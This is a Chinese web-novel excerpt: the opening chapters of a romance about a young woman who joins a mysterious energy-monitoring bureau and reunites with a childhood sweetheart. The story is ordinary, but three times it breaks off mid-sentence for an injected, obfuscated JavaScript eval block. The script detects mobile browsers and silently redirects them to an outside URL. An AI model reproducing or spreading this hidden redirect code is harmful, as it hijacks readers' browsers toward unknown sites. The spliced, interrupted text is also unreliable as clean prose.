《破碎能量场如何相爱》 1. 入职 周宝涂入职能监局的第一天,并没有她想象中那样开心。 能量监测局,是在上个世纪能量监测仪研发之后设立的专属机构。自设立以后,它每年都会在全国高校开展各项考核,选拔人才。这个新生又神秘的机构实在吸引了太多目光,同时也吓退了一众随流之辈。 头一年大家心里都没底,资源如何,实力如何,设备如何,待遇如何,全不清楚;甚至这个机构的地址究竟位于何处,是否真的已经建成实体,也值得怀疑。然而还是有一群人,这群因为“能监仪”的问世而彻底疯狂的人,忧虑又兴奋着,将自己的命运孤注一掷。 第二年,在能监局发布的年度工作报告中,确认了“非实体能量”的存在。藏于冰山下的一角才堪堪揭露,却更掀起一番轰动。此后尽管这个机构依旧神秘,报考的热潮却久久难退。 周宝涂也是这股热潮中的一员,不过此时此刻,她心里的激情已经在三四个小时的颠簸里彻底熄火得差不多了。 大巴车开过一段坎坷路面,车身剧烈晃了几下。车上睡得昏沉的女孩脑袋歪向一边,险些要滑出座椅,强烈的失重感让她骤然清醒过来。 周宝涂捡起滑落的薄毯重新盖在身上,她脑子里还充斥着混乱的画面,好一会儿才回神,注意起窗外的景色。 旁边的女人大概同样被这股动静闹醒,皱着眉头打量起窗外:“这是到了哪片荒郊野岭来了?” 这辆大巴车的目的地,就是那座神秘的能监局。 恐怕世界上再也找不出这么新颖的入职仪式了,第一天便让所有新职员在长途大巴上颠簸好几个小时。 周宝涂的屁股感觉不太好,但一个小时前他们才刚从休息站离开,距离下一个休息站遥遥无期,她只能忍耐。 在车上睡不安稳,刚才那股动静几乎将整车人都扰醒了,空气中散发着哀怨的气息。 就在此时,前面忽然站起一个身影。是那位负责带队的前辈,个子不高,但说话很有气势。 “大家检查一下安全带,前面要经过沼泽路段,车子晃得厉害,不小心把你们哪一个晃飞出窗外那就麻烦了……呵呵,虽说是大白天,但这地方没几个人,要想求救还真不容易。” “什么情况?”旁边的女人低声说,从尖锐的气声里可以听出她的不满:“他是在说冷笑话吗?” 没有得来旁边人的回应,这女人转头看去,看见周宝涂刚扣好安全带,发现她的目光后抛回一个疑惑的眼神。见她表情愈发不满,周宝涂思索几分,还是回答了她刚才的问题:“我觉得,不像假的。” 女人看了一眼封死的车窗,呵呵冷笑,“你觉得他说把人甩出车窗是可能的么?” 这完全就是冷笑话。 这个大巴上都是能量领域里拔尖的人才,有什么脾气古怪的人也是情理之中,周宝涂笑了笑,没有继续接话。 然而,不等她话音落下,一阵比刚才还要强烈许多的失重感瞬间袭来—— 大巴车似乎不是在平地上行驶,更像是径直开上一座险峭山崖。一车人像被丢进洗衣机里滚了个天翻地覆,犹如绷紧的弦结局是迎来断裂,急速刹车之后,还是翻下了山崖。 劫后余生。车子平稳起来时,周宝涂还在大口喘气,她觉得自己差一点就被吓死了。 “来真的啊……”旁边的女人话里带颤。 周宝涂松开她的手,脸色发虚地嘱咐:“下次,还是系好安全带吧。” 前排,领队张凌又站起来,他的声音也有些不稳:“大家都还好吗?身体不适的话及时告诉我,很快我们就要抵达目的地了,各位再坚持一下!” 女人忍住呕吐的感觉,心态也天翻地覆:“原来这前辈还真是在提醒人啊,是我小人之心了……” “贴心的领队君子”慰问完车上众人,转身坐下,脸上和善的笑容顿时烟消云散。 他面无表情地凑到前面驾驶座旁边,“……老许,我就说个冷笑话,你是真想把整车人都甩出去?你这开车一惊一乍的风格什么时候能改过来?” 司机老许人近退休的年纪,之前一直跟着外勤部门出去调查能量场,过程中难免发生一些意外事件。涉及到能量的意外,一不小心就要出人命,很多时候还是得靠司机脑子快、动作快才能渡过险关。 这样开了大半辈子,临了局里也想让老人从之前的紧绷状态回归到放松的环境里,平安退休,于是便把他调来开职工大巴。 “小张,你没看见刚才多少人对你有情绪啊?”司机小声念叨:“就是我把车开得太稳了,这群小崽子才不把这第一道坎当回事。我当年头一回来,可是兴奋得一路上都没睡得着觉。” 张凌看了眼后方,叹气:“现在世道可不一样了,几十年前的人吃得了苦,现在的年轻人……” 他想了想,不明白自己怎么把自己排除在年轻人的范畴之外了,于是又改口:“我们这个时代的人,比较注重生活质量。” “哎呀,你运气算好的了。这批新人,上车到现在都没人跟我要过晕车药,也没吐过,高速上结伴要求上厕所的也没有……” 他数到最后,敲了敲老许的肩膀,“当然,我运气也不错。这些事情,光听前辈描述就够吓人了。但凡前几批新人进来的时候是你开车,早就被治得服服帖帖了,恨不得给这群崽子伺候好了赶紧到家。” 老许听得浑身发毛。 张凌倒是又想起什么,从随身的行李中拿了晕车药,转头看向后排的某个身影。他刚才注意到那女孩脸色不适,不过现在看似乎好了许多,正和身边的人聊天。 “怎么样,还好吧?”他一路发晕车药下去,直到周宝涂面前停下来,格外突兀地问了一句。 那女孩接过药,避开旁边人投来的视线,低低地道谢。 张凌还想多问几句,毕竟受人所托,而且这女孩看上去也确实有些脆弱。只不过见她有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280273|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好意思,也没再多问了,继续发药。 身旁的女人率先打破沉默:“谢谢你刚才拉住我,我之前语气不太好,向你道歉,对不起了。” 周宝涂摆摆手。 “交个朋友?我叫冯绪,你呢?” “周宝涂。” 冯绪见她鼓着脸,以为她还在意自己之前的无礼,挠了挠头讪讪转过身。然而过几分钟再去看,才发现她嘴唇有些发紫,似乎是憋闷得不行了,冯绪大惊,赶紧松开她身上的安全带,正要喊人,却被她拉住。 周宝涂艰难地摇摇头,然后指了指她夹在座位前的包。 冯绪会意,赶紧翻开那个小包,包里东西不多,她一眼就看见里面的气雾剂,赶紧递过去。 周宝涂用药之后,明显缓解许多,靠在椅背上调整自己的呼吸之后,看了一眼满脸担忧的冯绪,“是不是吓到你了?不好意思啊,刚才多亏你注意到了。” “你现在还有哪里不舒服吗?需不需要我帮你叫人?” 大概是冯绪眼里如临大敌的意味太过浓重,周宝涂摇了摇头,然后又补充道:“……我很少犯病的,刚才是因为太突然,你不用这么……紧张。” 冯绪看了她一眼,神色复杂。大概是她终于意识到眼前的小姑娘好像有些脆弱,刚才那样危险的时刻,还分神用力抓住了她的手。她有些坐立难安,捡起周宝涂身上的小被子,连脖子也盖住。 毛毯轻轻软软,和它的主人一样。 冯绪不由自主带了点长辈的口吻,同她闲聊:“你多大啦?” “下个月就二十一啦。”周宝涂故意模仿她的语气。 冯绪笑了声,小丫头还挺有劲儿。 能监局招人不拘一格,学历要求、年龄要求通通没有,殊不知,没有条件的考核才正是最不易通过的难关。冯绪这一路也见了不少天之骄子,对她这样温和谦逊的不免感到好奇。 “跳级读的书啊?” “初中跳过一级而已。” “厉害。”她竖起一个大拇指。 倒是要感谢这突如其来的颠簸,把之前的社交阻隔都晃出车外,她们聊着天,连磨人的大巴车时间都变得不那么难以忍耐。 车窗外的树木越来越多,视线不像在公路上那样开阔坦然,层层郁郁的绿意遮蔽了周围大半景物,车上众人都望向窗外,眼睛不自觉地追随着前进方向。 冯绪感慨道:“真是谁也没想到,能监局竟然会建在这样的地方。” 周宝涂也没了聊天的心思,紧紧盯着窗外,眼睛晃来晃去,看看渐暗的天色,又看向影影绰绰的前方。 大巴还在前进,天与树的交界却不知何时爬上一抹偏白,映在周宝涂的眼睛里,就像曾经在书上见过的“能量场”颜色一样。 耳边传来惊呼:“那就是能监局大楼吗?!” 大巴车的氛围因为这句话沸腾起来,有人都恨不得真能从这窗口往外跳。 2. 重逢 那幢白色的建筑,正立于一片森林之中,大门前的空地上站了一群人,身上都穿着银白色的衣服,似乎是在等待。大巴的速度降得足够慢了,周宝涂看见他们一闪而过的脸上都带着笑意。 “各位辛苦了,能监局欢迎你们!”站在众人面前的女人五官冷艳,亲切中却遮不住那股说一不二的魄力,然而周宝涂第一眼看见的却是她身上那件银白制服,挂着一块胸牌,上面刻了几个小字。 冯绪轻轻挨了挨周宝涂,压低的声音里满是惊讶,“哎,这位就是孟萤珈啊,最新的植物能量分离器研究成果就是她负责的团队做出来的!她亲自来欢迎我们?!” 大概是人群中这样的感叹实在太多,孟萤珈脸上浮现笑意,道:“大家都是通过重重考核,千锤百炼之后才成为能监局的一员。那么从今天开始,能监局是大家的家,而我们就是互相的家人,在家人面前,不要拘谨,工作之余自由地说话做事,用最自然的状态来相处就好了。” 她这番话很好安抚了年轻人们初来乍到不适应的心情,却被另一道男声打破:“孟女士还是喜欢对新人灌输一些无用的心灵鸡汤,与其让奔波半日的孩子们站在门口听你演讲,不如赶紧进去,让他们好好休息一番。” 周宝涂循声望去,看见一个瘦高男人从大门内走出来,看清他的脸以后,不禁笑出声。 说话的男人名叫钟齐,正是人体能量领域的另外一位大拿。他和孟萤珈同属能监局技术部的骨干研究员,在学术方面完全持着相反的观点,钟齐甚至还在孟萤珈团队关于植物能量分离器成果出炉以后,写了一篇文章,彻底否定这种分离器的可行性。 两个人针尖对麦芒的关系,不知道为多少大学课堂津津乐道。如今一看,倒还真是很尖锐啊。 “钟先生说得是啊,在里面坐着等了那么久也是难为你了,还能想到孩子们现在会有多累。”孟萤珈笑着回他,脑袋却是转都不转一下,“大家请往里吧,我们的后勤部已经准备好了晚餐。” 出乎意料的,能监局迎新阵仗很大。高级研究员亲自接待不说,不仅有精心布置的场地和明显外包的丰富饭菜,甚至准备好了灯光酒水和节目,大有让这群年轻人尽情释放的意思。 宽敞的一楼大厅里,到处充满了快活的气氛。 比周宝涂在大学时参加的很多活动还要嗨,实在又刷新了她对这个机构的认识。 冯绪随大流找孟萤珈搭话,跟着一群人起哄、废了大力气从她嘴里敲出一点关于能量分离器的消息,然后满足地转回去找周宝涂。 找了好几处,才在一个角落的座位里发现周宝涂。她应该是喝了点酒,脸色微红,跟人说话的时候歪着头笑,冯绪走近几步,才看清她身边坐了一个男人,正是大巴车上的领队前辈张凌。 “前辈?” 张凌看见有人来了,似乎是松一口气,“你快回来看着她,这孩子身体不舒服还喝酒,我担心出什么问题,所以特意过来看一眼。” 冯绪赶紧凑上前,想近距离观察周宝涂的情况,被她闪着脑袋躲开。 “你喝什么酒?”冯绪和她认识不过半天,但已经把照顾她的责任理所当然地归到自己身上。她叹口气,对张凌道谢:“前辈,谢谢您了。” 张凌挥挥手,“照顾你们本来是后勤部的责任,不用谢。” 周宝涂坐得板正,在两人说话间隙,把桌子上没吃完的小蛋糕分别推向两人。 “这个好吃,吃这个。” 见两个人动也不动,只是盯着她看。周宝涂似乎有些疑惑,但过了几秒,脸上倏然绽开一个笑,眼睛水润发亮,笑了一会儿,嘴角就掉下来,长长的睫毛也往下垂,眼角眉梢都透着低落。 冯绪愣了愣,才转头看张凌。这前辈难道欺负人小女孩了? 张凌无奈摇头,声音放低:“我是看见她心情不好,才过来的。” 他接触这些孩子一天下来,虽然有各种各样的问题,却无一例外都是由于入职第一天过于兴奋所致,只有眼前这位是个例外。 “你们是刚刚认识的吗?她有没有和你说过,是不是……想家了?”张凌决定重视这个问题,他才刚调来后勤部,头一回负责新人,可不能出半点差错。况且,那位的令,他也不敢不从。 冯绪摇了摇头,不过细细回想起来,这个小丫头似乎从一开始心情就不算很好。她之前只以为是周宝涂性格比较沉稳,可后面相处多了,发现她的性格也许和沉稳并不搭边,只能说是个不算直率,但却很难掩饰自己心情的女孩。 稍微有些醉了的人突然摇摇晃晃站起身,脚步还没稳住,就要向外走。冯绪拉住她,“去哪儿?” “点心吃得太多啦,我要出去散步消化一下,你们快去玩吧!”她掀着手示意他们往前面去。 冯绪看出她明显的焦急神色,和张凌对视了一眼,才缓缓站起身,“……那你?” “安心安心,我不会乱跑的。” 冯绪端详她的神色,却见周宝涂躲躲闪闪,眼神偶尔往后面瞧,又飞快撤回来,像在躲什么人似的,实在古怪得很。 张凌也察觉到面前的人反应有些怪异,以为是她不好意思了,轻拍了拍她的肩膀鼓励道:“刚进来确实会不适应,无论工作还是生活上,需要帮忙尽管和我说。上面总强调,说你们年轻人不爱和前辈求助,我本来不以为然,现在倒是真有点担心起来了。” 周宝涂说好,然后还是急着要走。 冯绪又多看了她几眼,确认周宝涂脸上除了有些发红以外一切正常之后,刚要转身,身后的张凌似乎是看见什么熟人,满脸惊喜,叫道:“盛恢!” 那两个熟悉得不能再熟悉的字眼一蹦出来,周宝涂顿时定在原地,心情霎时间变得无比复杂。 他瘦了一些,脸上棱角更分明了,下巴冒出一些青色,整个人都笼在一股低沉的氛围里。只是他脸色平静,不像心情低落的影响,更像是因为什么事情,收敛了所有的情绪,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280274|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝涂猜大概是因为工作。 他专注起工作来一直都是这个样子,会让人因为那股过于外露的冷漠而不敢接近。 盛恢应声:“前辈。” 张凌见到他,瞬间忘了自己刚才还在努力塑造的沉稳知心前辈人设,凑过去低声道:“你小子总算是从实验室里出来了啊,我说,都在一个单位里,这还是我这大半个月见你头一回。” 两年前,盛恢刚到能监局,张凌也还待在技术部。他还记得,当时几个部门抢破了头,什么招数都使出来了,最后还是花落技术部。张凌当然不会狂妄到认为这全出于自己最初对盛恢多有照顾的功劳,但没有功劳,也有苦劳,好歹自己也是出了一份力的。 这两年看着盛恢不是泡在实验室,就是被别的部门外借,成天被数不清的工作团团包围,尽管知道才尽其用的道理,张凌还是多少有些担心。毕竟……人也不是铁打的,谁家的孩子谁心疼! “您对实验室多上点心,也不至于大半个月见不到我。”盛恢挪开他搭在自己肩膀上的手,“实验服没脱,脏。” 张凌把手收回来,“光看我上不上心了,我伤心的时候你在哪儿。上面把所有新人引导的工作丢给我的时候你在哪儿?哦,你小子那会儿在甜甜蜜蜜谈恋爱呢。” 罕见的,他这话说完竟没见盛恢回怼。这小子嘴皮子功夫厉害,话少但攻击性极强,半个月不见,怎么退守被动地位了?他可不觉得在实验室待久了还能提升人情世故洞察力的。 一看,盛恢脸色神情并无异常,他没怎么打理自己,冒出点淡青色胡渣,倒是比之前不说话的样子还要阴郁一些。 最令张凌大脑有些宕机的是,这小子一直盯着自己身后——那个新来的女孩。他那眼神极其专注,和看实验数据的状态有得一比,但张凌很肯定,盛恢看实验数据的时候绝对不会这么……犹豫。 他破天荒的,头一回在盛恢身上看到了“犹豫”两个字。 可是无论如何,也不能这么明目张胆啊!他看着冯绪越来越警惕的眼神,显然就快把他们俩当成坏人了。 他三言两语介绍了周宝涂和冯绪,而后找了个借口,拉着还没来得及说话的盛恢走过一旁。 盛恢的眼睛一直到张凌压低了声音怒气冲冲骂完两三句后才回到他身上,“谁不守男德?” “……你还好意思问啊。我说你是不是吃错药了?人家小姑娘今天刚来报道,你非要这样损坏能监局的形象吗?” 盛恢只听他开了个头就移开视线,慢条斯理脱下身上的实验服,慢慢道:“怎么就损坏形象了?” 张凌竖眉瞪眼,道:“你那眼睛就跟长人身上一样,还好意思问我?我跟你说,往回退几十年,这种行为叫登徒子知不知道?!” 实验服从身上脱下来,纹丝不乱,乖顺地搭在男人手上。他解开衬衫两粒扣子,看向张凌,没说话。不知道是不是张凌的错觉,他平静无波的眼神里似乎含着点“理所当然”的意思。 3. 照顾 张凌的心情更难以言喻了,“半个月而已,你变了,你变得让我害怕。” “他们的分组名单你那边有吧,在办公室?带我过去看一眼。” 新人入职能监局要先经过时长一个月的磨合期,这期间新职员和经验丰富的老职员们以小组制的方式共同工作。一般情况下在新人进门之前就已经安排好了分组,在“迎新晚会”上就会开展新老对接,今晚也是如此。 “我们后勤只管接通知,发通知,这个属于机密,你想看就看啊?”张凌现在对他没有好脸色。 盛恢轻嗤一声,“他们组里人之间面都见过了,算哪门子的机密?” 张凌摆出老大哥的架子,道:“否了,除非你给我一个合理的理由。” 他不说话,只是上下打量着张凌,原本搭在手上的实验服被随手挂上肩膀,空出来的一只手闲闲插在兜里。张凌看了一眼,总觉得他好像随时要掏出什么暗器谋害自己,浑身发毛,“行行行,你想知道哪个组,我直接告诉你行了吧?我那文件放家里呢,不然你这大半夜陪我回去一趟?” “曾雨田那组,有个人名我忘了。”他想了想,描述道:“就是那个唯一戴了眼镜的……” 他还没说完,张凌一下就了然了,原来还是在打听人家姑娘的小组成员:“那不是小齐吗,齐梁,之前才和你一起做过项目的,连人家名字都不记得,真是。” 盛恢拍拍他的肩膀,“谢了。” 张凌看着他走远。他想起这次去接新人之前,盛恢来找过自己,说了好些安慰的话。张凌为此感动了很久。因为这次任务是他转到后勤部后接手的第一个大活儿,尽管远远没有在技术部做各种实验的时候难度高,临行前能受到鼓励,当然是又感动又欣慰。 明明是技术部出了名的工作狂,什么时候会对后勤这么上心了,凭空之间就能给他们后勤工作提上那么多意见,尤其还十分细心地提醒他要记得带上晕车药。 他实在觉得奇怪,反复追问许久,这小子才终于露了馅,说他女朋友下个月入职,身体不太好,托他照顾。 张凌并不意外。只是眼下看这两人关系,怎么也不像情侣啊,盛恢就不像是会避嫌的人,但那女孩……怎么见了他就想跑? 张凌这头琢磨不出个啥来,那头的冯绪也是满头雾水。 任谁来都能看出盛恢刚才的视线有多明显,冯绪倒不觉得他一定是坏人,只是不知道周宝涂会作何感想,毕竟她从刚刚开始心情就不太好。 “冯绪姐,你别担心,我认识他的。” “啊,原来是认识的人,我说呢……”冯绪笑笑,顿时明白了这两个人或许还有更深的关系。 热闹的人群中心重新翻起阵阵声浪,冯绪的视线不自觉被吸引过去,吵闹中只听见周宝涂在她耳边说自己想出去转转,还不待冯绪多嘱咐几句,那丫头的人影已经消失不见了。 夜再深一些的时候,天下起小雨。迎新晚会已经进入尾声,人们的精力也渐渐耗尽。工作大楼和宿舍楼之间有些距离,雨渐渐大了,疲惫的人群只好在原地休憩。 一楼大厅宽敞明亮,在这儿等雨至少不狼狈,但周围的声音渐渐小了,热闹后的冷清才更让人难以适应。雨很大,凉风丝丝灌入衣领,周宝涂揉搓着手臂,想让身上暖一些。 这座大楼藏着最深奥的秘密立于深林之中,从前的她只能够凭借想象,如今的她已是这奥秘中的一部分。 周宝涂站在一个角落里,歪着头靠在墙上,身后有人来来往往,她就当作没感觉到。然而那道清冽的气息经过身后时,她却立刻就感受到了。 眼睛垂下来,连外面的雨都没心情看。 他没有说话,但仅仅只是站在身边,熟悉的温度和气味就足够让周宝涂难以维持那本就堪堪欲碎的镇静。她把脸撇过一遍,抱着臂膀的手握紧几分,胸口酸胀,还有些喘不上气。 “还不去休息?”盛恢的声音从旁边传来,低低的,穿过雨珠落地的声障,朦朦胧胧穿进她耳中。 盛恢开口的瞬间,看见那个小小肩头在空中瑟缩了一下。是冷的?他看了一眼外面的风雨,确实有些大。他脚步往前动了动,近了一些,却意外闻到一股淡淡的酒味。与这股酒意一同袭来的,是女孩慢了好几拍的回应。 “关你什么事。” 人已经有些醉了,咬字很含糊,但语气里横冲直撞的怒意倒是遮掩不住半分。 靠近了才看清她脸上红得有些过分,盛恢伸手在她头上探了探,温度还算正常,不过他的手马上就被一只软软的手挥下来。 他顺着这股不大的力度垂下手。 周宝涂醉得并不厉害,她转头过去,看见那人压低的眉眼,瞬间就知道他这是生气了。他向来不允许自己喝酒。可周宝涂更恼了,却没力气再花费任何心情去处理这些令人头疼的问题,慢慢往旁边挪步,“你不要靠近我。” “连话也不能说?” 她用默不作声来回应。 盛恢也不作声了,静静站在她身后看雨。 雨丝飘啊飘,半晌落地,女孩的声音又响起:“反正你看到我来也不会高兴。” 她声音里还是忍不住染上一点委屈,但人还是硬气得很,坚决背对着他,一点脸都看不着。 身后的人不回应,只是呼吸沉沉,让人无法忽视。怒火骤然窜上脑袋,乘着一点几近于无的醉意猛烈炸开,她回头的瞬间拳头也跟着挥过去,砸在他身上:“离我远点!” 然而就在挥过去的瞬间,这股喷张的气焰顿时被一层巨网全然裹住。盛恢攥住她乱动的手腕,摁在胸前,那双眼睛不知道盯了她多久,里面的阴影几乎要蔓延出来。 距离那次冲突已经过去半个月,女孩心情依旧很差。尽管她刻意收敛自己的低压,但在熟悉她的人面前,一眼就能看出来那双圆眼睛里积压已久的黑云。 她垂着脑袋没动静,也没有再用力挣脱。只是半晌后,盛恢渐渐发现不对劲。 她的呼吸频率不对劲。 比往常要急促很多,有些吃力的样子,身体渐渐发软,脚步都发虚。 盛恢骤然沉了脸色,他揽过周宝涂的肩。这动作把她惊醒,支起无力的手臂想推开他。 他们从小一起长大,对对方的一切都熟记于心。 熟悉的身体和怀抱让她的不适反应消减了很多,盛恢一手轻抚她的后背顺气,语气和刚才比起来又硬了许多,“不是说过平常少喝酒。” 身体好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280275|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易舒服了些,耳朵边又被他念得烦躁,她声音闷闷的,“你再训我,我就生气了。” 男人顿了顿,止住话。 外面的雨渐渐弱了。大厅里的人越来越少,无人在意角落里那对相拥的男女。 见人走得差不多,他微微俯身勾起女孩两只小腿,打算把这半睡半醒的人抱回宿舍,结果一动她就醒了。 “……放我下来。” 盛恢把她放下来,嘴里还在放话勾引:“不要抱?这个点去你们宿舍楼的路没什么人的。” 周宝涂摇摇脑袋。 两脚落地,她还是有些站不稳。晕沉沉靠着身边的人,半边身子都挨在他身上。盛恢想她大概意识已经很不清楚了,站都站不稳,脾气里的倔还是半分没变。 雨停了好一会儿,周围的人已经走了七七八八。 夜晚温度有些凉,周宝涂在前面走得歪歪斜斜,靠着身后人一只手臂撑住大半重量,才没有彻底倒下去。盛恢跟着她的步子,看她走一步就点一下脑袋,分明是困得连走路都要睡着了,还硬撑着呢。 他眼里全是面前这个人,丝毫没有注意到已经走到了人流较多的宿舍楼下。直到前方传来一个充满疑惑和惊讶的声音,喊了盛恢的名字。 听见声音,周宝涂便猛地站直身子。 靠在手臂边的重量消失,盛恢唇边的弧度淡了些,抬眼看向眼前忽然出现的人。 好巧不巧,是周宝涂所在小组里唯一的女前辈王旻书。 “小周……还有盛恢,你不是住A楼吗,过来有事?”楼道里,王旻书投来好奇的目光。 盛恢看了一眼低着头瞅脚尖的周宝涂,半晌,脑袋稍微偏了偏向眼前的女孩:“新来的找不着宿舍,我带个路。” “找不到路啊,”王旻书了然地笑了笑,“我本来吃得撑了要去散散步呢,也是闲得没事干。小周你住哪间,我带你过去?” 周宝涂有些头晕,听得不是很清楚,但还是下意识地说谢谢,声音又小又轻,飘进空气里,被另一道清清淡淡的嗓音盖住—— “谢谢王姐,不用了。” 王旻书后来还说了什么,周宝涂根本听不清。她整个人像被火烧一样,脸上红了一大片,连冒出头发的一点耳朵尖也红的要冒烟了,仿佛下一秒那满头羊毛卷就要烧起来。 盛恢把她送到房间,打开房门,好久不见她反应。打开的门险险要砸过来,盛恢一只手撑着门框,看向还靠在自己身上的人,略感好笑,“到了。” 蒸笼里的人没动静。 女孩头上几缕翘起的头发在他下巴上轻轻蹭动,盛恢伸手抚了抚她的头顶,轻叹一声,俯身在她耳边道:“快进去。” 从坐上车那一刻开始,她就被郁闷、纠结,还有那一点点刻意被忽视的期待缠缠裹裹。 尽管仍然在意那些未尽的问题,但此刻……她焦灼害羞的心情需要一个发泄口,堆积太久的思念同样也是。周宝涂想着,伸手扯着他的袖子,转身—— 他却像等好了似的,在这人转身的瞬间,顺势推开房门,另一只手把终于低头的女孩搂进怀里,没费什么力气就把她整个人都抱起来。 门关上的瞬间,所有灼热的气息也全都随之隔绝在内。 4. 阁楼 窗外的雷声越来越响,怀里的人倒是没有太大的反应。或许是确实有些醉意,睡得极快。大半张脸都埋在男人怀里,也不觉得憋闷,单薄的后背起伏均匀。 盛恢靠在床头,任她枕着自己酣睡。周宝涂认床,终究睡得不算安稳,有时皱着眉头动动身子,身后贴来的掌心温度却能驱散一些不适,好似本应如此,有了那道温度,她才能安心入睡。 房间里只开了小灯,男人借着微弱的光亮细细打量着她。半晌,从外衣口袋里拿出一个小小的袋子。 袋子是银色的,哪怕在光亮极为微弱的环境中也能看清它材质的特别。他两指捏着那个袋子,放在眼前看了会儿,而后轻轻放在床头柜边。 窗外雨声又大了起来,伴随着隐隐雷声。盛恢望着那个在黑夜中泛着亮光的袋子,思绪飘回许多年前某个同样普普通通,却刻在他记忆里再也忘不掉的雷雨夜。 那年他刚升高三。 密密麻麻的笔记摆在桌上,一只干净乖顺的三花猫窝在纸堆边。少年一手轻抚着猫,另一只手撑着下巴,静静望着窗外的雨。 直到门外的声响传进里屋,少年回神,身子向后舒展开,歪头朝着门外问:“爸,怎么了?” “宝涂闹了点小脾气,不知道跑去哪儿了,我帮忙找找去。”盛父边说着,边穿好外套,正要转身拿雨伞,却见儿子已经从房间里走了出来,刚好将伞递到自己手边。 盛父摆摆手,“这丫头跑不远。再说下周不是要月考了?你在家专心复习,我去就行。” 说话间,一只三花猫从房间里跑出来,黏在正要出门的主人脚边。盛父蹲下身子把它往里推了推,被宠坏的猫咪不满凶叫了两声,旁边却伸来少年的手,又轻又快地将猫咪抱起来,语气自然:“我复习得差不多了,一起去吧。” 他读高三这年,周宝涂还是个浑身稚气的初中毕业生。 盛恢母亲和周宝涂的父亲是大学同学,毕业之后许多年,一个成了能监局信息部的核心研究员,一个成了技术部的骨干人才,关系一直都很好。自然而然的,两家大人关系好,孩子从小也认识。 周宝涂的妈妈早年患上精神疾病,后来去世,而父亲工作又忙,在市里没什么亲戚,平时光靠保姆照顾很难周全,免不了要麻烦朋友邻里。 盛恢从小听家里大人说最多关于她的一句话就是,一定要多多照顾小宝涂。 几乎所有人都觉得这个先天略带不足的女孩是温室里的花朵,包括这时候的他。毕竟她连性格都像极了内向乖巧的含羞草,礼貌又懂事,从来不会给别人添麻烦。 这样的孩子怎么会乱发脾气,还离家出走呢? 盛恢似乎比别人要早一点看见她身上那道隐形的裂缝。 这源于一个月前他和周宝涂那场不太愉快的约会。而这场约会,说来就更好笑。只因它荒谬地完全源于大人之间玩笑逗趣时的无意之言。 “盛恢真是让你们省心,哪像我家那个,最近天天闹着出去玩,弄得人头疼!” “小孩子嘛,中考结束想放松也能理解。盛恢也愁人,上了高中以后都多久没出过门了,我宁可他不要这么绷着,出去跑跑跳跳也好。” 一个闹着出门,一个不爱出门,大人们一合计,把小孩凑一块得了。 其实本来也只是说笑,只是恰好有天周宝涂爸爸碰上紧急任务要回局里,家里保姆阿姨又放假了,没人做饭吃;盛恢父亲知道以后,大手一挥,说交给自己儿子来搞定—— 于是,就有了这场不愉快的约会。 他们在咖啡馆待了一个上。那女孩全程都很不开心,坐对面一言不发地在他递过去的草纸上涂涂画画,动静很大;而盛恢本就不情愿来,被逼着带孩子,这孩子还闹腾,弄得他也不高兴。 他们从小就认识,关系虽然不算好,但周宝涂连大声说话都很少,更别说发脾气。 结束时,盛恢合上书,淡淡刺了句:“才多久没见,我不知道你脾气变这么大了。” 正着急收东西的小姑娘一听,脸色涨得通红,最后几乎是手忙脚乱,临走前憋了半晌,丢下一句:“关你什么事。” 那次约会之后,他和周宝涂没有再见过面。 大概这个年纪的孩子确实到了叛逆期吧。盛恢回忆自己初三的状态,没能理出什么头绪。不过能借着这次机会和她道个歉也好,毕竟自己说话确实不好听。 半个小时后,还找不见人的踪影,盛恢抬手看表,已经是晚上九点。他原本带着三花一起出门,这会儿也顾不上猫了。 雨水倾泻,被地上凹凸不平的小坑抱了个满怀。远处,一股急促的震颤袭来,不知是谁踩碎了池塘,留下一片狼藉。 …… 昏暗的阁楼里,罩着一层灰蒙蒙的粉尘。一道雷在窗外亮起,刺破模糊的景象,闪过地上那抹格格不入的白色身影,跳到女孩细不可查微微颤抖的肩上,下一秒,轰隆雷鸣紧随其后。 周宝涂把脑袋埋在膝盖上,紧紧捂着自己的耳朵。这对雷声并没有起到什么抵挡作用,可怕的动静依旧能透过指缝泄入耳朵里,反倒是把那些重要的声响一一遮了个彻底。 她完全没有听见人靠近的脚步声。直到盛恢走近了,蹲在她面前,他身上那股清冽干净的气味飘进鼻子里,周宝涂才猛地抬头。 少年额头浮着一层薄汗,眉头平缓,却隐约还能看见一道褶皱印迹。神色严肃,直到看见人,才稍稍软和下来。 他快速扫了眼周宝涂身上,除了衣服上有几道灰尘,倒是没有其他情况。 周宝涂半埋着头,她不知道怎么会有人找到这里。更不知道为什么这人找到这里了,却一言不发。 